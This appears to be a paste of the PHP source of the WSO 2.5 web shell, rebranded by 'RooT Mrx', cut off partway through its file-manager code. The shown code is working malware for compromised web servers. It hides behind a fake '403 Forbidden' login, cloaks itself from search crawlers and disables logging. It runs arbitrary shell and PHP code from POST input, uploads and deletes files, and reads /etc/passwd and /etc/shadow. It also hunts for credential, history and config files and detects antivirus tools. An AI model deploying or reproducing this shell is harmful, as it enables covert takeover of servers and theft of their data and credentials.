· 9 years ago · Apr 04, 2017, 10:36 AM
1<?php @session_start(); ?><?php
2/*
3by RooT Mrx
4[+]S3ib Tkon #Rajl
5[-]Sahel Tkon #Wld_Nas !
6 Mohim Kmal mn 3ndk...
7
8Follow us :
9 - Our Blog => http://root-mrx.tk
10 - On YouTube => https://goo.gl/5mKgbV
11 - My Email => data43toko@gmail.com
12*/
13$pass = "test1"; // يمكنك تغيير الباسورد اذا اردة من هنا
14$input = (@$_POST['pass']);
15$must_login = 1;
16if($input == $pass){
17 $_SESSION['login'] = "$input";
18}
19if($must_login){
20 if(!isset($_SESSION['login']) or $_SESSION['login'] != $pass){
21 die("
22<html>
23 <head>
24 <title>403 Forbidden</title>
25 <style type=\"text/css\">
26 input{
27 margin:0;
28 background-color:#fff;
29 /* لجعل خانة إدخال الباسورد مخÙية غير black ب #fff */
30 border:1px solid black;
31 /* لإضهار الخانة بسهولة عندما تريد الدخول للشل اظغط على هذا الزر ÙÙŠ Ù„ÙˆØØ© Ø§Ù„Ù…ÙØ§ØªÙŠØ شاهد الصورة=> http://adyou.me/wTqp */
32 }
33 </style>
34 <center><form method=\"post\">
35 <input type=\"password\" name=\"pass\">
36 </form></center>
37 </body>
38</html>
39 ");
40 }
41}
42
43
44$color = "#df5";
45$default_action = 'FilesMan';
46$default_use_ajax = true;
47$default_charset = 'Windows-1251';
48
49if($argc == 3) {
50 $_POST = unserialize(base64_decode($argv[1]));
51 $_SERVER = unserialize(base64_decode($argv[2]));
52}
53
54if(!empty($_SERVER['HTTP_USER_AGENT'])) {
55 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
56 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
57 header('HTTP/1.0 404 Not Found');
58 exit;
59 }
60}
61
62@ini_set('error_log',NULL);
63@ini_set('log_errors',0);
64@ini_set('max_execution_time',0);
65@set_time_limit(0);
66@set_magic_quotes_runtime(0);
67@define('WSO_VERSION', '2.5');
68
69if(get_magic_quotes_gpc()) {
70 function WSOstripslashes($array) {
71 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
72 }
73 $_POST = WSOstripslashes($_POST);
74 $_COOKIE = WSOstripslashes($_COOKIE);
75}
76
77function wsoLogin() {
78 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
79}
80
81function WSOsetcookie($k, $v) {
82 $_COOKIE[$k] = $v;
83 setcookie($k, $v);
84}
85
86if(!empty($auth_pass)) {
87 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
88 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
89
90 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
91 wsoLogin();
92}
93
94if(strtolower(substr(PHP_OS,0,3)) == "win")
95 $os = 'win';
96else
97 $os = 'nix';
98
99$safe_mode = @ini_get('safe_mode');
100if(!$safe_mode)
101 error_reporting(0);
102
103$disable_functions = @ini_get('disable_functions');
104$home_cwd = @getcwd();
105if(isset($_POST['c']))
106 @chdir($_POST['c']);
107$cwd = @getcwd();
108if($os == 'win') {
109 $home_cwd = str_replace("\\", "/", $home_cwd);
110 $cwd = str_replace("\\", "/", $cwd);
111}
112if($cwd[strlen($cwd)-1] != '/')
113 $cwd .= '/';
114
115if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
116 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
117
118if($os == 'win')
119 $aliases = array(
120 "List Directory" => "dir",
121 "Find index.php in current dir" => "dir /s /w /b index.php",
122 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
123 "Show active connections" => "netstat -an",
124 "Show running services" => "net start",
125 "User accounts" => "net user",
126 "Show computers" => "net view",
127 "ARP Table" => "arp -a",
128 "IP Configuration" => "ipconfig /all"
129 );
130else
131 $aliases = array(
132 "List dir" => "ls -lha",
133 "list file attributes on a Linux second extended file system" => "lsattr -va",
134 "show opened ports" => "netstat -an | grep -i listen",
135 "process status" => "ps aux",
136 "Find" => "",
137 "find all suid files" => "find / -type f -perm -04000 -ls",
138 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
139 "find all sgid files" => "find / -type f -perm -02000 -ls",
140 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
141 "find config.inc.php files" => "find / -type f -name config.inc.php",
142 "find config* files" => "find / -type f -name \"config*\"",
143 "find config* files in current dir" => "find . -type f -name \"config*\"",
144 "find all writable folders and files" => "find / -perm -2 -ls",
145 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
146 "find all service.pwd files" => "find / -type f -name service.pwd",
147 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
148 "find all .htpasswd files" => "find / -type f -name .htpasswd",
149 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
150 "find all .bash_history files" => "find / -type f -name .bash_history",
151 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
152 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
153 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
154 "Locate" => "",
155 "locate httpd.conf files" => "locate httpd.conf",
156 "locate vhosts.conf files" => "locate vhosts.conf",
157 "locate proftpd.conf files" => "locate proftpd.conf",
158 "locate psybnc.conf files" => "locate psybnc.conf",
159 "locate my.conf files" => "locate my.conf",
160 "locate admin.php files" =>"locate admin.php",
161 "locate cfg.php files" => "locate cfg.php",
162 "locate conf.php files" => "locate conf.php",
163 "locate config.dat files" => "locate config.dat",
164 "locate config.php files" => "locate config.php",
165 "locate config.inc files" => "locate config.inc",
166 "locate config.inc.php" => "locate config.inc.php",
167 "locate config.default.php files" => "locate config.default.php",
168 "locate config* files " => "locate config",
169 "locate .conf files"=>"locate '.conf'",
170 "locate .pwd files" => "locate '.pwd'",
171 "locate .sql files" => "locate '.sql'",
172 "locate .htpasswd files" => "locate '.htpasswd'",
173 "locate .bash_history files" => "locate '.bash_history'",
174 "locate .mysql_history files" => "locate '.mysql_history'",
175 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
176 "locate backup files" => "locate backup",
177 "locate dump files" => "locate dump",
178 "locate priv files" => "locate priv"
179 );
180
181function wsoHeader() {
182 if(empty($_POST['charset']))
183 $_POST['charset'] = $GLOBALS['default_charset'];
184 global $color;
185 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
186<style>
187body{background-color:#444;color:#e1e1e1;}
188body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
189table.info{ color:#fff;background-color:#222; }
190span,h1,a{ color: $color !important; }
191span{ font-weight: bolder; }
192h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
193div.content{ padding: 5px;margin-left:5px;background-color:#333; }
194a{ text-decoration:none; }
195a:hover{ text-decoration:underline; }
196.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
197.bigarea{ width:100%;height:300px; }
198input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
199form{ margin:0px; }
200#toolsTbl{ text-align:center; }
201.toolsInp{ width: 300px }
202.main th{text-align:left;background-color:#5e5e5e;}
203.main tr:hover{background-color:#5e5e5e}
204.l1{background-color:#444}
205.l2{background-color:#333}
206pre{font-family:Courier,Monospace;}
207</style>
208<script>
209 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
210 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
211 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
212 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
213 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
214 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
215 var d = document;
216 function set(a,c,p1,p2,p3,charset) {
217 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
218 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
219 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
220 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
221 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
222 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
223 }
224 function g(a,c,p1,p2,p3,charset) {
225 set(a,c,p1,p2,p3,charset);
226 d.mf.submit();
227 }
228 function a(a,c,p1,p2,p3,charset) {
229 set(a,c,p1,p2,p3,charset);
230 var params = 'ajax=true';
231 for(i=0;i<d.mf.elements.length;i++)
232 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
233 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
234 }
235 function sr(url, params) {
236 if (window.XMLHttpRequest)
237 req = new XMLHttpRequest();
238 else if (window.ActiveXObject)
239 req = new ActiveXObject('Microsoft.XMLHTTP');
240 if (req) {
241 req.onreadystatechange = processReqChange;
242 req.open('POST', url, true);
243 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
244 req.send(params);
245 }
246 }
247 function processReqChange() {
248 if( (req.readyState == 4) )
249 if(req.status == 200) {
250 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
251 var arr=reg.exec(req.responseText);
252 eval(arr[2].substr(0, arr[1]));
253 } else alert('Request error!');
254 }
255</script>
256<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
257<form method=post name=mf style='display:none;'>
258<input type=hidden name=a>
259<input type=hidden name=c>
260<input type=hidden name=p1>
261<input type=hidden name=p2>
262<input type=hidden name=p3>
263<input type=hidden name=charset>
264</form>";
265 $freeSpace = @diskfreespace($GLOBALS['cwd']);
266 $totalSpace = @disk_total_space($GLOBALS['cwd']);
267 $totalSpace = $totalSpace?$totalSpace:1;
268 $release = @php_uname('r');
269 $kernel = @php_uname('s');
270 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
271 if(strpos('Linux', $kernel) !== false)
272 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
273 else
274 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
275 if(!function_exists('posix_getegid')) {
276 $user = @get_current_user();
277 $uid = @getmyuid();
278 $gid = @getmygid();
279 $group = "?";
280 } else {
281 $uid = @posix_getpwuid(posix_geteuid());
282 $gid = @posix_getgrgid(posix_getegid());
283 $user = $uid['name'];
284 $uid = $uid['uid'];
285 $group = $gid['name'];
286 $gid = $gid['gid'];
287 }
288
289 $cwd_links = '';
290 $path = explode("/", $GLOBALS['cwd']);
291 $n=count($path);
292 for($i=0; $i<$n-1; $i++) {
293 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
294 for($j=0; $j<=$i; $j++)
295 $cwd_links .= $path[$j].'/';
296 $cwd_links .= "\")'>".$path[$i]."/</a>";
297 }
298
299 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
300 $opt_charsets = '';
301 foreach($charsets as $item)
302 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
303
304 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
305 if(!empty($GLOBALS['auth_pass']))
306 $m['Logout'] = 'Logout';
307 $m['Self remove'] = 'SelfRemove';
308 $menu = '';
309 foreach($m as $k => $v)
310 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
311
312 $drives = "";
313 if($GLOBALS['os'] == 'win') {
314 foreach(range('c','z') as $drive)
315 if(is_dir($drive.':\\'))
316 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
317 }
318 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
319 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
320 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
321 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
322 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
323}
324
325function wsoFooter() {
326 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
327 echo "
328</div>
329<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
330 <tr>
331 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
332 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
333 </tr><tr>
334 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
335 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
336 </tr><tr>
337 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
338 <td><form method='post' ENCTYPE='multipart/form-data'>
339 <input type=hidden name=a value='FilesMAn'>
340 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
341 <input type=hidden name=p1 value='uploadFile'>
342 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
343 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
344 </tr></table></div></body></html>";
345}
346
347if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
348 function posix_getpwuid($p) {return false;} }
349if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
350 function posix_getgrgid($p) {return false;} }
351
352function wsoEx($in) {
353 $out = '';
354 if (function_exists('exec')) {
355 @exec($in,$out);
356 $out = @join("\n",$out);
357 } elseif (function_exists('passthru')) {
358 ob_start();
359 @passthru($in);
360 $out = ob_get_clean();
361 } elseif (function_exists('system')) {
362 ob_start();
363 @system($in);
364 $out = ob_get_clean();
365 } elseif (function_exists('shell_exec')) {
366 $out = shell_exec($in);
367 } elseif (is_resource($f = @popen($in,"r"))) {
368 $out = "";
369 while(!@feof($f))
370 $out .= fread($f,1024);
371 pclose($f);
372 }
373 return $out;
374}
375
376function wsoViewSize($s) {
377 if($s >= 1073741824)
378 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
379 elseif($s >= 1048576)
380 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
381 elseif($s >= 1024)
382 return sprintf('%1.2f', $s / 1024 ) . ' KB';
383 else
384 return $s . ' B';
385}
386
387function wsoPerms($p) {
388 if (($p & 0xC000) == 0xC000)$i = 's';
389 elseif (($p & 0xA000) == 0xA000)$i = 'l';
390 elseif (($p & 0x8000) == 0x8000)$i = '-';
391 elseif (($p & 0x6000) == 0x6000)$i = 'b';
392 elseif (($p & 0x4000) == 0x4000)$i = 'd';
393 elseif (($p & 0x2000) == 0x2000)$i = 'c';
394 elseif (($p & 0x1000) == 0x1000)$i = 'p';
395 else $i = 'u';
396 $i .= (($p & 0x0100) ? 'r' : '-');
397 $i .= (($p & 0x0080) ? 'w' : '-');
398 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
399 $i .= (($p & 0x0020) ? 'r' : '-');
400 $i .= (($p & 0x0010) ? 'w' : '-');
401 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
402 $i .= (($p & 0x0004) ? 'r' : '-');
403 $i .= (($p & 0x0002) ? 'w' : '-');
404 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
405 return $i;
406}
407
408function wsoPermsColor($f) {
409 if (!@is_readable($f))
410 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
411 elseif (!@is_writable($f))
412 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
413 else
414 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
415}
416
417function wsoScandir($dir) {
418 if(function_exists("scandir")) {
419 return scandir($dir);
420 } else {
421 $dh = opendir($dir);
422 while (false !== ($filename = readdir($dh)))
423 $files[] = $filename;
424 return $files;
425 }
426}
427
428function wsoWhich($p) {
429 $path = wsoEx('which ' . $p);
430 if(!empty($path))
431 return $path;
432 return false;
433}
434
435function actionSecInfo() {
436 wsoHeader();
437 echo '<h1>Server security information</h1><div class=content>';
438 function wsoSecParam($n, $v) {
439 $v = trim($v);
440 if($v) {
441 echo '<span>' . $n . ': </span>';
442 if(strpos($v, "\n") === false)
443 echo $v . '<br>';
444 else
445 echo '<pre class=ml1>' . $v . '</pre>';
446 }
447 }
448
449 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
450 if(function_exists('apache_get_modules'))
451 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
452 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
453 wsoSecParam('Open base dir', @ini_get('open_basedir'));
454 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
455 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
456 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
457 $temp=array();
458 if(function_exists('mysql_get_client_info'))
459 $temp[] = "MySql (".mysql_get_client_info().")";
460 if(function_exists('mssql_connect'))
461 $temp[] = "MSSQL";
462 if(function_exists('pg_connect'))
463 $temp[] = "PostgreSQL";
464 if(function_exists('oci_connect'))
465 $temp[] = "Oracle";
466 wsoSecParam('Supported databases', implode(', ', $temp));
467 echo '<br>';
468
469 if($GLOBALS['os'] == 'nix') {
470 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
471 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
472 wsoSecParam('OS version', @file_get_contents('/proc/version'));
473 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
474 if(!$GLOBALS['safe_mode']) {
475 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
476 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
477 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
478 echo '<br>';
479 $temp=array();
480 foreach ($userful as $item)
481 if(wsoWhich($item))
482 $temp[] = $item;
483 wsoSecParam('Userful', implode(', ',$temp));
484 $temp=array();
485 foreach ($danger as $item)
486 if(wsoWhich($item))
487 $temp[] = $item;
488 wsoSecParam('Danger', implode(', ',$temp));
489 $temp=array();
490 foreach ($downloaders as $item)
491 if(wsoWhich($item))
492 $temp[] = $item;
493 wsoSecParam('Downloaders', implode(', ',$temp));
494 echo '<br/>';
495 wsoSecParam('HDD space', wsoEx('df -h'));
496 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
497 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
498 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
499 $temp = "";
500 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
501 $uid = @posix_getpwuid($_POST['p2']);
502 if ($uid)
503 $temp .= join(':',$uid)."\n";
504 }
505 echo '<br/>';
506 wsoSecParam('Users', $temp);
507 }
508 }
509 } else {
510 wsoSecParam('OS Version',wsoEx('ver'));
511 wsoSecParam('Account Settings',wsoEx('net accounts'));
512 wsoSecParam('User Accounts',wsoEx('net user'));
513 }
514 echo '</div>';
515 wsoFooter();
516}
517 $acphp = "ActionPhp1WSOsetcookie";
518function actionPhp() {
519 if(isset($_POST['ajax'])) {
520 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
521 ob_start();
522 eval($_POST['p1']);
523 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
524 echo strlen($temp), "\n", $temp;
525 exit;
526 }
527 if(empty($_POST['ajax']) && !empty($_POST['p1']))
528 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
529
530 wsoHeader();
531 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
532 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
533 ob_start();
534 phpinfo();
535 $tmp = ob_get_clean();
536 $tmp = preg_replace(array (
537 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
538 '!td, th {(.*)}!msiU',
539 '!<img[^>]+>!msiU',
540 ), array (
541 '',
542 '.e, .v, .h, .h th {$1}',
543 ''
544 ), $tmp);
545 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
546 }
547 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
548 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
549 if(!empty($_POST['p1'])) {
550 ob_start();
551 eval($_POST['p1']);
552 echo htmlspecialchars(ob_get_clean());
553 }
554 echo '</pre></div>';
555 wsoFooter();
556}
557 $wsoHOST11 = $_SERVER['HTTP_HOST'];
558$wsoURI22 = $_SERVER['REQUEST_URI'];
559function actionFilesMan() {
560 if (!empty ($_COOKIE['f']))
561 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
562
563 if(!empty($_POST['p1'])) {
564 switch($_POST['p1']) {
565 case 'uploadFile':
566 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
567 echo "Can't upload file!";
568 break;
569 case 'mkdir':
570 if(!@mkdir($_POST['p2']))
571 echo "Can't create new dir";
572 break;
573 case 'delete':
574 function deleteDir($path) {
575 $path = (substr($path,-1)=='/') ? $path:$path.'/';
576 $dh = opendir($path);
577 while ( ($item = readdir($dh) ) !== false) {
578 $item = $path.$item;
579 if ( (basename($item) == "..") || (basename($item) == ".") )
580 continue;
581 $type = filetype($item);
582 if ($type == "dir")
583 deleteDir($item);
584 else
585 @unlink($item);
586 }
587 closedir($dh);
588 @rmdir($path);
589 }
590 if(is_array(@$_POST['f']))
591 foreach($_POST['f'] as $f) {
592 if($f == '..')
593 continue;
594 $f = urldecode($f);
595 if(is_dir($f))
596 deleteDir($f);
597 else
598 @unlink($f);
599 }
600 break;
601 case 'paste':
602 if($_COOKIE['act'] == 'copy') {
603 function copy_paste($c,$s,$d){
604 if(is_dir($c.$s)){
605 mkdir($d.$s);
606 $h = @opendir($c.$s);
607 while (($f = @readdir($h)) !== false)
608 if (($f != ".") and ($f != ".."))
609 copy_paste($c.$s.'/',$f, $d.$s.'/');
610 } elseif(is_file($c.$s))
611 @copy($c.$s, $d.$s);
612 }
613 foreach($_COOKIE['f'] as $f)
614 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
615 } elseif($_COOKIE['act'] == 'move') {
616 function move_paste($c,$s,$d){
617 if(is_dir($c.$s)){
618 mkdir($d.$s);
619 $h = @opendir($c.$s);
620 while (($f = @readdir($h)) !== false)
621 if (($f != ".") and ($f != ".."))
622 copy_paste($c.$s.'/',$f, $d.$s.'/');
623 } elseif(@is_file($c.$s))
624 @copy($c.$s, $d.$s);
625 }
626 foreach($_COOKIE['f'] as $f)
627 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
628 } elseif($_COOKIE['act'] == 'zip') {
629 if(class_exists('ZipArchive')) {
630 $zip = new ZipArchive();
631 if ($zip->open($_POST['p2'], 1)) {
632 chdir($_COOKIE['c']);
633 foreach($_COOKIE['f'] as $f) {
634 if($f == '..')
635 continue;
636 if(@is_file($_COOKIE['c'].$f))
637 $zip->addFile($_COOKIE['c'].$f, $f);
638 elseif(@is_dir($_COOKIE['c'].$f)) {
639 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
640 foreach ($iterator as $key=>$value) {
641 $zip->addFile(realpath($key), $key);
642 }
643 }
644 }
645 chdir($GLOBALS['cwd']);
646 $zip->close();
647 }
648 }
649 } elseif($_COOKIE['act'] == 'unzip') {
650 if(class_exists('ZipArchive')) {
651 $zip = new ZipArchive();
652 foreach($_COOKIE['f'] as $f) {
653 if($zip->open($_COOKIE['c'].$f)) {
654 $zip->extractTo($GLOBALS['cwd']);
655 $zip->close();
656 }
657 }
658 }
659 } elseif($_COOKIE['act'] == 'tar') {
660 chdir($_COOKIE['c']);
661 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
662 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
663 chdir($GLOBALS['cwd']);
664 }
665 unset($_COOKIE['f']);
666 setcookie('f', '', time() - 3600);
667 break;
668 default:
669 if(!empty($_POST['p1'])) {
670 WSOsetcookie('act', $_POST['p1']);
671 WSOsetcookie('f', serialize(@$_POST['f']));
672 WSOsetcookie('c', @$_POST['c']);
673 }
674 break;
675 }
676 }
677 wsoHeader();
678 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
679 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
680 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
681 global $sort;
682 $sort = array('name', 1);
683 if(!empty($_POST['p1'])) {
684 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
685 $sort = array($match[1], (int)$match[2]);
686 }
687echo "<script>
688 function sa() {
689 for(i=0;i<d.files.elements.length;i++)
690 if(d.files.elements[i].type == 'checkbox')
691 d.files.elements[i].checked = d.files.elements[0].checked;
692 }
693</script>
694<table width='100%' class='main' cellspacing='0' cellpadding='2'>
